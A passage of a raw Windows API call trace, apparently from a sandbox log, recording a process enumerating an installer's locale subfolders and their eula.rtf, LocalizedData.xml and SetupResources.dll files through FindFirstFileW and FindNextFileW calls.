nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0128.870] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5babb8 [0128.914] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0130.989] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0130.990] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0131.079] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.079] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.079] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.079] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.079] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.079] FindClose (in: hFindFile=0x69b0c8 | out: hFindFile=0x69b0c8) returned 1 [0131.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.110] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0131.110] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0131.111] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.111] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.112] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.112] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0131.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.113] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0131.113] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af48 [0131.114] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.114] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.114] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.114] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.115] FindNextFileW (in: hFindFile=0x69af48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.115] FindClose (in: hFindFile=0x69af48 | out: hFindFile=0x69af48) returned 1 [0131.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.116] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0131.116] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ae08 [0131.117] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.117] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.117] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.117] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.117] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.117] FindClose (in: hFindFile=0x69ae08 | out: hFindFile=0x69ae08) returned 1 [0131.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.118] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0131.118] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0131.119] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.119] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.119] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.119] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.119] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.119] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0131.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.119] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0131.119] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ad88 [0131.121] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.121] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.122] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.122] FindClose (in: hFindFile=0x69ad88 | out: hFindFile=0x69ad88) returned 1 [0131.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.123] 